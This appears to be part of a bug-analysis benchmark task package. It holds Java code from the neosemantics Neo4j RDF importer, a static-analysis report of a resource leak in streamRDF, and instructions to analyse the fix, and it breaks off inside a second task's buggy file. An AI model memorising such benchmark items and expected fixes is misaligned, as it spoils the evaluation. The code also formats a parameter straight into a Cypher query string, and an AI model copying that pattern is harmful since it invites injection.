+      InputStream inputStream = getInputStream(url, props);
+      RDFParser rdfParser = Rio.createParser(getFormat(format));
+      rdfParser.set(BasicParserSettings.VERIFY_URI_SYNTAX, verifyUriSyntax);
+      rdfParser.setRDFHandler(statementLoader);
+      rdfParser.parse(inputStream, url);
+    } catch (MalformedURLException e) {
+      e.printStackTrace();
+    } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+      importResults.setTerminationKO(e.getMessage());
+      e.printStackTrace();
+    } finally {
+      importResults.setTriplesLoaded(statementLoader.totalTriplesMapped);
+      importResults.setNamespaces(statementLoader.getNamespaces());
+    }
+    return Stream.of(importResults);
+  }
+
+  private InputStream getInputStream(String url, Map<String, Object> props) throws IOException {
+    URLConnection urlConn;
+    //This should be delegated to APOC to do handle different protocols, deal with redirection, etc.
+    urlConn = new URL(url).openConnection();
+    if (props.containsKey("headerParams")) {
+      Map<String, String> headerParams = (Map<String, String>) props.get("headerParams");
+      Object method = headerParams.get("method");
+      if (method != null && urlConn instanceof HttpURLConnection) {
+        HttpURLConnection http = (HttpURLConnection) urlConn;
+        http.setRequestMethod(method.toString());
+      }
+      headerParams.forEach((k, v) -> urlConn.setRequestProperty(k, v));
+      if (props.containsKey("payload")) {
+        urlConn.setDoOutput(true);
+        BufferedWriter writer = new BufferedWriter(
+            new OutputStreamWriter(urlConn.getOutputStream(), "UTF-8"));
+        writer.write(props.get("payload").toString());
+        writer.close();
+      }
+    }
+    return urlConn.getInputStream();
+  }
+
+  private int getHandleVocabUrisAsInt(String handleVocUrisAsText) {
+    if (handleVocUrisAsText.equals("SHORTEN")) {
+      return 0;
+    } else if (handleVocUrisAsText.equals("IGNORE")) {
+      return 1;
+    } else if (handleVocUrisAsText.equals("MAP")) {
+      return 2;
+    } else { //KEEP
+      return 3;
+    }
+  }
+
+  private int getHandleMultivalAsInt(String ignoreUrlsAsText) {
+    if (ignoreUrlsAsText.equals("OVERWRITE")) {
+      return 0;
+    } else if (ignoreUrlsAsText.equals("ARRAY")) {
+      return 1;
+    } else if (ignoreUrlsAsText.equals("REIFY")) {
+      return 2;
+    } else { //HYBRID
+      return 3;
+    }
+  }
+
+  @Procedure(mode = Mode.READ)
+  public Stream<GraphResult> previewRDF(@Name("url") String url, @Name("format") String format,
+      @Name(value = "params", defaultValue = "{}") Map<String, Object> props) {
+
+    final int handleVocabUris = (props.containsKey("handleVocabUris") ? getHandleVocabUrisAsInt(
+        (String) props.get("handleVocabUris")) : 0);
+    final boolean applyNeo4jNaming = (props.containsKey("applyNeo4jNaming") ? (boolean) props
+        .get("applyNeo4jNaming") : false);
+    final int handleMultival = (props.containsKey("handleMultival") ? getHandleMultivalAsInt(
+        (String) props.get("handleMultival")) : 0);
+    final List<String> multivalPropList = (props.containsKey("multivalPropList")
+        ? (List<String>) props.get("multivalPropList") : null);
+    final List<String> predicateExclusionList = (props.containsKey("predicateExclusionList")
+        ? (List<String>) props.get("predicateExclusionList") : null);
+    final List<String> customDataTypedPropList = (props.containsKey("customDataTypesList")
+        ? (List<String>) props.get("customDataTypesList") : null);
+    final boolean typesToLabels = (props.containsKey("typesToLabels") ? (boolean) props
+        .get("typesToLabels") : DEFAULT_TYPES_TO_LABELS);
+    final boolean keepCustomDataTypes = (props.containsKey("keepCustomDataTypes") ? (boolean) props
+        .get("keepCustomDataTypes") : DEFAULT_KEEP_CUSTOM_DATA_TYPES);
+    final boolean keepLangTag = (props.containsKey("keepLangTag") ? (boolean) props
+        .get("keepLangTag") : false);
+    final String languageFilter = (props.containsKey("languageFilter") ? (String) props
+        .get("languageFilter") : null);
+    final boolean verifyUriSyntax = (props.containsKey("verifyUriSyntax") ? (Boolean) props
+        .get("verifyUriSyntax") : true);
+
+    Map<String, Node> virtualNodes = new HashMap<>();
+    List<Relationship> virtualRels = new ArrayList<>();
+
+    StatementPreviewer statementViewer = new StatementPreviewer(db, handleVocabUris, handleMultival,
+        (multivalPropList == null ? null : new HashSet<String>(multivalPropList)),
+        keepCustomDataTypes,
+        (customDataTypedPropList == null ? null : new HashSet<String>(customDataTypedPropList)),
+        (predicateExclusionList == null ? null : new HashSet<String>(predicateExclusionList)),
+        typesToLabels, virtualNodes,
+        virtualRels, keepLangTag, languageFilter, applyNeo4jNaming, log);
+    try {
+
+      InputStream inputStream = getInputStream(url, props);
+      RDFFormat rdfFormat = getFormat(format);
+      log.info("Data set to be parsed as " + rdfFormat);
+      RDFParser rdfParser = Rio.createParser(rdfFormat);
+      rdfParser.set(BasicParserSettings.VERIFY_URI_SYNTAX, verifyUriSyntax);
+      rdfParser.setRDFHandler(statementViewer);
+      rdfParser.parse(inputStream, "http://neo4j.com/base/");
+    } catch (MalformedURLException e) {
+      e.printStackTrace();
+    } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+      e.printStackTrace();
+    }
+
+    GraphResult graphResult = new GraphResult(new ArrayList<>(virtualNodes.values()), virtualRels);
+    return Stream.of(graphResult);
+
+
+  }
+
+  @Procedure(mode = Mode.READ)
+  public Stream<StreamedStatement> streamRDF(@Name("url") String url, @Name("format") String format,
+      @Name(value = "params", defaultValue = "{}") Map<String, Object> props) {
+    final boolean verifyUriSyntax = (props.containsKey("verifyUriSyntax") ? (Boolean) props
+        .get("verifyUriSyntax") : true);
+
+    StatementStreamer statementStreamer = new StatementStreamer();
+    try {
+
+      InputStream inputStream = getInputStream(url, props);
+      RDFFormat rdfFormat = getFormat(format);
+      log.info("Data set to be parsed as " + rdfFormat);
+      RDFParser rdfParser = Rio.createParser(rdfFormat);
+      rdfParser.set(BasicParserSettings.VERIFY_URI_SYNTAX, verifyUriSyntax);
+      rdfParser.setRDFHandler(statementStreamer);
+      rdfParser.parse(inputStream, "http://neo4j.com/base/");
+    } catch (MalformedURLException e) {
+      e.printStackTrace();
+    } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+      e.printStackTrace();
+    }
+
+    return statementStreamer.getStatements().stream();
+
+
+  }
+
+  @Procedure(mode = Mode.READ)
+  public Stream<GraphResult> previewRDFSnippet(@Name("rdf") String rdfFragment,
+      @Name("format") String format,
+      @Name(value = "params", defaultValue = "{}") Map<String, Object> props) {
+
+    final int handleVocabUris = (props.containsKey("handleVocabUris") ? getHandleVocabUrisAsInt(
+        (String) props.get("handleVocabUris")) : 0);
+    final boolean applyNeo4jNaming = (props.containsKey("applyNeo4jNaming") ? (boolean) props
+        .get("applyNeo4jNaming") : false);
+    final int handleMultival = (props.containsKey("handleMultival") ? getHandleMultivalAsInt(
+        (String) props.get("handleMultival")) : 0);
+    final List<String> multivalPropList = (props.containsKey("multivalPropList")
+        ? (List<String>) props.get("multivalPropList") : null);
+    final List<String> predicateExclusionList = (props.containsKey("predicateExclusionList")
+        ? (List<String>) props.get("predicateExclusionList") : null);
+    final List<String> customDataTypedPropList = (props.containsKey("customDataTypesList")
+        ? (List<String>) props.get("customDataTypesList") : null);
+    final boolean typesToLabels = (props.containsKey("typesToLabels") ? (boolean) props
+        .get("typesToLabels") : DEFAULT_TYPES_TO_LABELS);
+    final boolean keepLangTag = (props.containsKey("keepLangTag") ? (boolean) props
+        .get("keepLangTag") : false);
+    final boolean keepCustomDataTypes = (props.containsKey("keepCustomDataTypes") ? (boolean) props
+        .get("keepCustomDataTypes") : DEFAULT_KEEP_CUSTOM_DATA_TYPES);
+    final String languageFilter = (props.containsKey("languageFilter") ? (String) props
+        .get("languageFilter") : null);
+    final boolean verifyUriSyntax = (props.containsKey("verifyUriSyntax") ? (Boolean) props
+        .get("verifyUriSyntax") : true);
+
+    Map<String, Node> virtualNodes = new HashMap<>();
+    List<Relationship> virtualRels = new ArrayList<>();
+
+    StatementPreviewer statementViewer = new StatementPreviewer(db, handleVocabUris, handleMultival,
+        (multivalPropList == null ? null : new HashSet<String>(multivalPropList)),
+        keepCustomDataTypes,
+        (customDataTypedPropList == null ? null : new HashSet<String>(customDataTypedPropList)),
+        (predicateExclusionList == null ? null : new HashSet<String>(predicateExclusionList)),
+        typesToLabels, virtualNodes, virtualRels, keepLangTag, languageFilter, applyNeo4jNaming,
+        log);
+    try {
+      InputStream inputStream = new ByteArrayInputStream(
+          rdfFragment.getBytes(Charset.defaultCharset())); //rdfFragment.openStream();
+      RDFFormat rdfFormat = getFormat(format);
+      log.info("Data set to be parsed as " + rdfFormat);
+      RDFParser rdfParser = Rio.createParser(rdfFormat);
+      rdfParser.set(BasicParserSettings.VERIFY_URI_SYNTAX, verifyUriSyntax);
+      rdfParser.setRDFHandler(statementViewer);
+      rdfParser.parse(inputStream, "http://neo4j.com/base/");
+    } catch (MalformedURLException e) {
+      e.printStackTrace();
+    } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+      e.printStackTrace();
+    }
+
+    GraphResult graphResult = new GraphResult(new ArrayList<>(virtualNodes.values()), virtualRels);
+    return Stream.of(graphResult);
+
+
+  }
+
+  @UserFunction
+  public String getDataType(@Name("literal") Object literal) {
+
+    String result;
+
+    if (literal instanceof String) {
+      Matcher matcherShortened = DATATYPE_SHORTENED_PATTERN.matcher((String) literal);
+      Matcher matcherRegular = DATATYPE_REGULAR_PATTERN.matcher((String) literal);
+      if (matcherShortened.matches()) {
+        result = matcherShortened.group(2);
+      } else if (matcherRegular.matches()) {
+        result = matcherRegular.group(2);
+      } else {
+        result = XMLSchema.STRING.stringValue();
+      }
+    } else if (literal instanceof Long) {
+      result = XMLSchema.LONG.stringValue();
+    } else if (literal instanceof Double) {
+      result = XMLSchema.DOUBLE.stringValue();
+    } else if (literal instanceof Boolean) {
+      result = XMLSchema.BOOLEAN.stringValue();
+    } else {
+      result = null;
+    }
+
+    return result;
+  }
+
+  @UserFunction
+  public String getValue(@Name("literal") String literal) {
+
+    Matcher matcherShortened = DATATYPE_SHORTENED_PATTERN.matcher(literal);
+    Matcher matcherRegular = DATATYPE_REGULAR_PATTERN.matcher(literal);
+    String result = literal;
+    if (matcherShortened.matches()) {
+      result = matcherShortened.group(1);
+    } else if (matcherRegular.matches()) {
+      result = matcherRegular.group(1);
+    }
+    return result;
+  }
+
+  @UserFunction
+  public String getIRILocalName(@Name("url") String url) {
+    return url.substring(URIUtil.getLocalNameIndex(url));
+  }
+
+  @UserFunction
+  public String getIRINamespace(@Name("url") String url) {
+    return url.substring(0, URIUtil.getLocalNameIndex(url));
+  }
+
+  @UserFunction
+  public String getLangValue(@Name("lang") String lang, @Name("values") Object values) {
+
+    if (values instanceof List) {
+      if (((List) values).get(0) instanceof String) {
+        for (Object val : (List<String>) values) {
+          Matcher m = LANGUAGE_TAGGED_VALUE_PATTERN.matcher((String) val);
+          if (m.matches() && m.group(2).equals(lang)) {
+            return m.group(1);
+          }
+        }
+      }
+    } else if (values instanceof String[]) {
+      String[] valuesAsArray = (String[]) values;
+      for (int i = 0; i < valuesAsArray.length; i++) {
+        Matcher m = LANGUAGE_TAGGED_VALUE_PATTERN.matcher(valuesAsArray[i]);
+        if (m.matches() && m.group(2).equals(lang)) {
+          return m.group(1);
+        }
+      }
+    } else if (values instanceof String) {
+      Matcher m = LANGUAGE_TAGGED_VALUE_PATTERN.matcher((String) values);
+      if (m.matches() && m.group(2).equals(lang)) {
+        return m.group(1);
+      }
+    }
+    return null;
+  }
+
+  @UserFunction
+  public String uriFromShort(@Name("short") String str) {
+
+    Matcher m = SHORTENED_URI_PATTERN.matcher(str);
+    if (m.matches()) {
+      ResourceIterator<Node> nspd = db.findNodes(Label.label("NamespacePrefixDefinition"));
+      if (nspd.hasNext()) {
+        Map<String, Object> namespaces = nspd.next().getAllProperties();
+        Iterator<Map.Entry<String, Object>> nsIterator = namespaces.entrySet().iterator();
+        while (nsIterator.hasNext()) {
+          Map.Entry<String, Object> kv = nsIterator.next();
+          if (m.group(1).equals(kv.getValue())) {
+            return kv.getKey() + m.group(2);
+          }
+        }
+      }
+    }
+    //default return original value
+    return str;
+  }
+
+  @UserFunction
+  public String shortFromUri(@Name("uri") String str) {
+    try {
+      IRI iri = SimpleValueFactory.getInstance().createIRI(str);
+      ResourceIterator<Node> nspd = db.findNodes(Label.label("NamespacePrefixDefinition"));
+      if (nspd.hasNext()) {
+        Map<String, Object> namespaces = nspd.next().getAllProperties();
+        Iterator<Map.Entry<String, Object>> nsIterator = namespaces.entrySet().iterator();
+        while (nsIterator.hasNext()) {
+          Map.Entry<String, Object> kv = nsIterator.next();
+          if (kv.getKey().equals(iri.getNamespace())) {
+            return kv.getValue() + PREFIX_SEPARATOR + iri.getLocalName();
+          }
+        }
+      }
+      return str;
+    } catch (Exception e) {
+      return str;
+    }
+  }
+
+  @Procedure(mode = Mode.WRITE)
+  public Stream<NamespacePrefixesResult> addNamespacePrefix(@Name("prefix") String prefix,
+      @Name("ns") String ns) {
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("prefix", prefix);
+
+    return db
+        .execute(String.format("MERGE (n:NamespacePrefixDefinition) SET n.`%s` = $prefix "
+            + "WITH n UNWIND keys(n) as ns\n"
+            + "RETURN n[ns] as prefix, ns as namespace", ns), params).stream().map(
+            n -> new NamespacePrefixesResult((String) n.get("prefix"),
+                (String) n.get("namespace")));
+
+  }
+
+  @Procedure(mode = Mode.READ)
+  public Stream<NamespacePrefixesResult> listNamespacePrefixes() {
+
+    return db
+        .execute("MATCH (n:NamespacePrefixDefinition) \n" +
+            "UNWIND keys(n) AS namespace\n" +
+            "RETURN namespace, n[namespace] AS prefix").stream().map(
+            n -> new NamespacePrefixesResult((String) n.get("prefix"),
+                (String) n.get("namespace")));
+
+  }
+
+  private void checkIndexesExist() throws RDFImportPreRequisitesNotMet {
+    Iterable<IndexDefinition> indexes = db.schema().getIndexes();
+    if (missing(indexes.iterator(), "Resource")) {
+      throw new RDFImportPreRequisitesNotMet(
+          "The required index on :Resource(uri) could not be found");
+    }
+  }
+
+  private boolean missing(Iterator<IndexDefinition> iterator, String indexLabel) {
+    while (iterator.hasNext()) {
+      IndexDefinition indexDef = iterator.next();
+      if (indexDef.getLabel().name().equals(indexLabel) &&
+          indexDef.getPropertyKeys().iterator().next().equals("uri")) {
+        return false;
+      }
+    }
+    return true;
+  }
+
+  private RDFFormat getFormat(String format) throws RDFImportPreRequisitesNotMet {
+    if (format != null) {
+      for (RDFFormat parser : availableParsers) {
+        if (parser.getName().equals(format)) {
+          return parser;
+        }
+      }
+    }
+    throw new RDFImportPreRequisitesNotMet("Unrecognized serialization format: " + format);
+  }
+
+
+  public static class ImportResults {
+
+    public String terminationStatus = "OK";
+    public long triplesLoaded = 0;
+    public Map<String, String> namespaces;
+    public String extraInfo = "";
+
+    public void setTriplesLoaded(long triplesLoaded) {
+      this.triplesLoaded = triplesLoaded;
+    }
+
+    public void setNamespaces(Map<String, String> namespaces) {
+      this.namespaces = namespaces;
+    }
+
+    public void setTerminationKO(String message) {
+      this.terminationStatus = "KO";
+      this.extraInfo = message;
+    }
+
+  }
+
+  private class RDFImportPreRequisitesNotMet extends Exception {
+
+    String message;
+
+    public RDFImportPreRequisitesNotMet(String s) {
+      message = s;
+    }
+
+    @Override
+    public String getMessage() {
+      return message;
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `getInputStream(...)` at line 276 is not released after line 283.
+**Note**: potential exception at line 277
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Stream RDFImport.streamRDF(String,String,Map)
+
+### Procedure Id:
+semantics.RDFImport.streamRDF(java.lang.String,java.lang.String,java.util.Map):java.util.stream.Stre.a18af216f8e0c6a0e91aadc23fcacfd2
+
+### File:
+src/main/java/semantics/RDFImport.java
+
+### Key:
+RDFImport.java|streamRDF|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+2a6a50a12e97fb530dae51430d76d564
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5871/instruction.md b/inferredbugs-5871/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ed7bba2f309426d7a4679403d245242c572f7a6c
--- /dev/null
+++ b/inferredbugs-5871/instruction.md
@@ -0,0 +1,462 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neosemantics
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package semantics;
+
+import org.eclipse.rdf4j.model.IRI;
+import org.eclipse.rdf4j.model.ValueFactory;
+import org.eclipse.rdf4j.model.impl.SimpleIRI;
+import org.eclipse.rdf4j.model.impl.SimpleValueFactory;
+import org.eclipse.rdf4j.model.util.URIUtil;
+import org.neo4j.graphdb.*;
+import org.neo4j.graphdb.schema.IndexDefinition;
+import org.neo4j.logging.Log;
+import org.neo4j.procedure.*;
+import org.eclipse.rdf4j.rio.*;
+import semantics.result.GraphResult;
+import semantics.result.StreamedStatement;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.nio.charset.Charset;
+import java.util.*;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Stream;
+
+import static com.sun.tools.doclint.Entity.lang;
+
+/**
+ * Created by jbarrasa on 21/03/2016.
+ * <p>
+ * RDF importer based on:
+ * 1. DatatypeProperties become node attributes
+ * 2. rdf:type relationships are transformed into labels on the subject node
+ * 3. rdf:type relationships generate :Class nodes on the object
+ */
+public class RDFImport {
+    private static final boolean DEFAULT_SHORTEN_URLS = true;
+    private static final boolean DEFAULT_TYPES_TO_LABELS = true;
+    private static final long DEFAULT_COMMIT_SIZE = 25000;
+    private static final long DEFAULT_NODE_CACHE_SIZE = 10000;
+    public static final String PREFIX_SEPARATOR = "__";
+    static final int URL_SHORTEN = 0;
+    static final int URL_IGNORE = 1;
+    static final int URL_MAP = 2;
+    static final int URL_KEEP = 3;
+    static final int PROP_OVERWRITE = 0;
+    static final int PROP_ARRAY = 1;
+    static final int PROP_REIFY = 2;
+
+    static final int RELATIONSHIP = 0;
+    static final int LABEL = 1;
+    static final int PROPERTY = 2;
+
+    @Context
+    public GraphDatabaseService db;
+    @Context
+    public Log log;
+
+    public static RDFFormat[] availableParsers = new RDFFormat[]{RDFFormat.RDFXML, RDFFormat.JSONLD, RDFFormat.TURTLE,
+            RDFFormat.NTRIPLES, RDFFormat.TRIG};
+
+
+
+    @Procedure(mode = Mode.WRITE)
+    public Stream<ImportResults> importRDF(@Name("url") String url, @Name("format") String format,
+                                           @Name("props") Map<String, Object> props) {
+
+        final int handleVocabUris = (props.containsKey("handleVocabUris")?getHandleVocabUrisAsInt((String)props.get("handleVocabUris")):0);
+        final int handleMultival = (props.containsKey("handleMultival")?getHandleMultivalAsInt((String)props.get("handleMultival")):0);
+        final List<String> multivalPropList = (props.containsKey("multivalPropList")?(List<String>)props.get("multivalPropList"):null);
+        final List<String> predicateExclusionList = (props.containsKey("predicateExclusionList")?(List<String>)props.get("predicateExclusionList"):null);
+        final boolean typesToLabels = (props.containsKey("typesToLabels")?(boolean)props.get("typesToLabels"):DEFAULT_TYPES_TO_LABELS);
+        final boolean keepLangTag = (props.containsKey("keepLangTag")?(boolean)props.get("keepLangTag"):false);
+        final long commitSize = (props.containsKey("commitSize")?(long)props.get("commitSize"):DEFAULT_COMMIT_SIZE);
+        final long nodeCacheSize = (props.containsKey("nodeCacheSize")?(long)props.get("nodeCacheSize"):DEFAULT_NODE_CACHE_SIZE);
+        final String languageFilter = (props.containsKey("languageFilter")?(String)props.get("languageFilter"):null);
+
+        ImportResults importResults = new ImportResults();
+        URLConnection urlConn;
+        DirectStatementLoader statementLoader = new DirectStatementLoader(db, (commitSize > 0 ? commitSize : 5000),
+                nodeCacheSize, handleVocabUris, handleMultival, (multivalPropList==null?null:new HashSet<String>(multivalPropList)),
+                (predicateExclusionList==null?null:new HashSet<String>(predicateExclusionList)), typesToLabels, keepLangTag,
+                languageFilter, log);
+        try {
+            checkIndexesExist();
+            urlConn = new URL(url).openConnection();
+            if (props.containsKey("headerParams")) {
+                ((Map<String, String>) props.get("headerParams")).forEach( (k,v) -> urlConn.setRequestProperty(k,v));
+            }
+            InputStream inputStream = urlConn.getInputStream();
+            RDFParser rdfParser = Rio.createParser(getFormat(format));
+            rdfParser.setRDFHandler(statementLoader);
+            rdfParser.parse(inputStream, url);
+        } catch (MalformedURLException e) {
+            e.printStackTrace();
+        } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+            importResults.setTerminationKO(e.getMessage());
+            e.printStackTrace();
+        } finally {
+            importResults.setTriplesLoaded(statementLoader.totalTriplesMapped);
+            importResults.setNamespaces(statementLoader.getNamespaces());
+        }
+        return Stream.of(importResults);
+    }
+
+    private int getHandleVocabUrisAsInt(String handleVocUrisAsText) {
+        if (handleVocUrisAsText.equals("SHORTEN")){
+            return 0;
+        } else if(handleVocUrisAsText.equals("IGNORE")){
+            return 1;
+        } else if (handleVocUrisAsText.equals("MAP")){
+            return 2;
+        } else { //KEEP
+            return 3;
+        }
+    }
+
+    private int getHandleMultivalAsInt(String ignoreUrlsAsText) {
+        if (ignoreUrlsAsText.equals("OVERWRITE")){
+            return 0;
+        } else if(ignoreUrlsAsText.equals("ARRAY")){
+            return 1;
+        } else if (ignoreUrlsAsText.equals("REIFY")){
+            return 2;
+        } else { //HYBRID
+            return 3;
+        }
+    }
+
+    @Procedure(mode = Mode.READ)
+    public Stream<GraphResult> previewRDF(@Name("url") String url, @Name("format") String format,
+                                          @Name("props") Map<String, Object> props) {
+
+        final int handleVocabUris = (props.containsKey("handleVocabUris")?getHandleVocabUrisAsInt((String)props.get("handleVocabUris")):0);
+        final int handleMultival = (props.containsKey("handleMultival")?getHandleMultivalAsInt((String)props.get("handleMultival")):0);
+        final List<String> multivalPropList = (props.containsKey("multivalPropList")?(List<String>)props.get("multivalPropList"):null);
+        final List<String> predicateExclusionList = (props.containsKey("predicateExclusionList")?(List<String>)props.get("predicateExclusionList"):null);
+        final boolean typesToLabels = (props.containsKey("typesToLabels")?(boolean)props.get("typesToLabels"):DEFAULT_TYPES_TO_LABELS);
+        final boolean keepLangTag = (props.containsKey("keepLangTag")?(boolean)props.get("keepLangTag"):false);
+        final String languageFilter = (props.containsKey("languageFilter")?(String)props.get("languageFilter"):null);
+
+        URLConnection urlConn;
+        Map<String,Node> virtualNodes = new HashMap<>();
+        List<Relationship> virtualRels = new ArrayList<>();
+
+        StatementPreviewer statementViewer = new StatementPreviewer(db, handleVocabUris, handleMultival,
+                (multivalPropList==null?null:new HashSet<String>(multivalPropList)),
+                (predicateExclusionList==null?null:new HashSet<String>(predicateExclusionList)),typesToLabels, virtualNodes,
+                virtualRels, keepLangTag, languageFilter, log);
+        try {
+            urlConn = new URL(url).openConnection();
+            if (props.containsKey("headerParams")) {
+                ((Map<String, String>) props.get("headerParams")).forEach( (k,v) -> urlConn.setRequestProperty(k,v));
+            }
+            InputStream inputStream = urlConn.getInputStream();
+            RDFFormat rdfFormat = getFormat(format);
+            log.info("Data set to be parsed as " + rdfFormat);
+            RDFParser rdfParser = Rio.createParser(rdfFormat);
+            rdfParser.setRDFHandler(statementViewer);
+            rdfParser.parse(inputStream, "http://neo4j.com/base/");
+        } catch (MalformedURLException e) {
+            e.printStackTrace();
+        } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+            e.printStackTrace();
+        }
+
+        GraphResult graphResult = new GraphResult(new ArrayList<>(virtualNodes.values()), virtualRels);
+        return Stream.of(graphResult);
+
+
+    }
+
+    @Procedure(mode = Mode.READ)
+    public Stream<StreamedStatement> streamRDF(@Name("url") String url, @Name("format") String format,
+                                               @Name("props") Map<String, Object> props) {
+
+        URLConnection urlConn;
+
+        StatementStreamer statementStreamer = new StatementStreamer();
+        try {
+            urlConn = new URL(url).openConnection();
+            if (props.containsKey("headerParams")) {
+                ((Map<String, String>) props.get("headerParams")).forEach( (k,v) -> urlConn.setRequestProperty(k,v));
+            }
+            InputStream inputStream = urlConn.getInputStream();
+            RDFFormat rdfFormat = getFormat(format);
+            log.info("Data set to be parsed as " + rdfFormat);
+            RDFParser rdfParser = Rio.createParser(rdfFormat);
+            rdfParser.setRDFHandler(statementStreamer);
+            rdfParser.parse(inputStream, "http://neo4j.com/base/");
+        } catch (MalformedURLException e) {
+            e.printStackTrace();
+        } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+            e.printStackTrace();
+        }
+
+        return statementStreamer.getStatements().stream();
+
+
+    }
+
+    @Procedure(mode = Mode.READ)
+    public Stream<GraphResult> previewRDFSnippet(@Name("rdf") String rdfFragment, @Name("format") String format,
+                                                 @Name("props") Map<String, Object> props) {
+
+        final int handleVocabUris = (props.containsKey("handleVocabUris")?getHandleVocabUrisAsInt((String)props.get("handleVocabUris")):0);
+        final int handleMultival = (props.containsKey("handleMultival")?getHandleMultivalAsInt((String)props.get("handleMultival")):0);
+        final List<String> multivalPropList = (props.containsKey("multivalPropList")?(List<String>)props.get("multivalPropList"):null);
+        final List<String> predicateExclusionList = (props.containsKey("predicateExclusionList")?(List<String>)props.get("predicateExclusionList"):null);
+        final boolean typesToLabels = (props.containsKey("typesToLabels")?(boolean)props.get("typesToLabels"):DEFAULT_TYPES_TO_LABELS);
+        final boolean keepLangTag = (props.containsKey("keepLangTag")?(boolean)props.get("keepLangTag"):false);
+        final String languageFilter = (props.containsKey("languageFilter")?(String)props.get("languageFilter"):null);
+
+        Map<String,Node> virtualNodes = new HashMap<>();
+        List<Relationship> virtualRels = new ArrayList<>();
+
+        StatementPreviewer statementViewer = new StatementPreviewer(db, handleVocabUris, handleMultival,
+                (multivalPropList==null?null:new HashSet<String>(multivalPropList)),
+                (predicateExclusionList==null?null:new HashSet<String>(predicateExclusionList)),
+                typesToLabels, virtualNodes, virtualRels, keepLangTag, languageFilter, log);
+        try {
+            InputStream inputStream = new ByteArrayInputStream( rdfFragment.getBytes(Charset.defaultCharset()) ); //rdfFragment.openStream();
+            RDFFormat rdfFormat = getFormat(format);
+            log.info("Data set to be parsed as " + rdfFormat);
+            RDFParser rdfParser = Rio.createParser(rdfFormat);
+            rdfParser.setRDFHandler(statementViewer);
+            rdfParser.parse(inputStream, "http://neo4j.com/base/");
+        } catch (MalformedURLException e) {
+            e.printStackTrace();
+        } catch (IOException | RDFHandlerException | QueryExecutionException | RDFParseException | RDFImportPreRequisitesNotMet e) {
+            e.printStackTrace();
+        }
+
+        GraphResult graphResult = new GraphResult(new ArrayList<>(virtualNodes.values()), virtualRels);
+        return Stream.of(graphResult);
+
+
+    }
+
+    @UserFunction
+    public String getIRILocalName(@Name("url") String url) {
+        return url.substring(URIUtil.getLocalNameIndex(url));
+    }
+
+    @UserFunction
+    public String getIRINamespace(@Name("url") String url) {
+        return url.substring(0,URIUtil.getLocalNameIndex(url));
+    }
+
+    @UserFunction
+    public String getLangValue(@Name("lang") String lang, @Name("values") Object values) {
+        Pattern p = Pattern.compile("^(.*)@([a-z,\\-]+)$");
+        if (values instanceof List) {
+            if (((List)values).get(0) instanceof String) {
+                for (Object val : (List<String>) values) {
+                    Matcher m = p.matcher((String) val);
+                    if (m.matches() && m.group(2).equals(lang)) {
+                        return m.group(1);
+                    }
+                }
+            }
+        } else if (values instanceof String[]) {
+            String[] valuesAsArray = (String[])values;
+            for (int i=0;i<valuesAsArray.length;i++) {
+                Matcher m = p.matcher(valuesAsArray[i]);
+                if (m.matches() && m.group(2).equals(lang)) {
+                    return m.group(1);
+                }
+            }
+        } else if (values instanceof String){
+            Matcher m = p.matcher((String)values);
+            if (m.matches() && m.group(2).equals(lang)) {
+                return m.group(1);
+            }
+        }
+        return null;
+    }
+
+    @UserFunction
+    public String uriFromShort(@Name("short") String str) {
+        Pattern p = Pattern.compile("^(\\w+)__(\\w+)$");
+        Matcher m = p.matcher(str);
+        if (m.matches()) {
+            ResourceIterator<Node> nspd = db.findNodes(Label.label("NamespacePrefixDefinition"));
+            if (nspd.hasNext()){
+                Map<String, Object> namespaces = nspd.next().getAllProperties();
+                Iterator<Map.Entry<String, Object>> nsIterator = namespaces.entrySet().iterator();
+                while(nsIterator.hasNext()){
+                    Map.Entry<String, Object> kv = nsIterator.next();
+                    if(m.group(1).equals(kv.getValue())){
+                        return kv.getKey() + m.group(2);
+                    }
+                }
+            }
+        }
+        //default return original value
+        return str;
+    }
+
+    @UserFunction
+    public String shortFromUri(@Name("uri") String str) {
+        try{
+            IRI iri = SimpleValueFactory.getInstance().createIRI(str);
+            ResourceIterator<Node> nspd = db.findNodes(Label.label("NamespacePrefixDefinition"));
+            if (nspd.hasNext()){
+                Map<String, Object> namespaces = nspd.next().getAllProperties();
+                Iterator<Map.Entry<String, Object>> nsIterator = namespaces.entrySet().iterator();
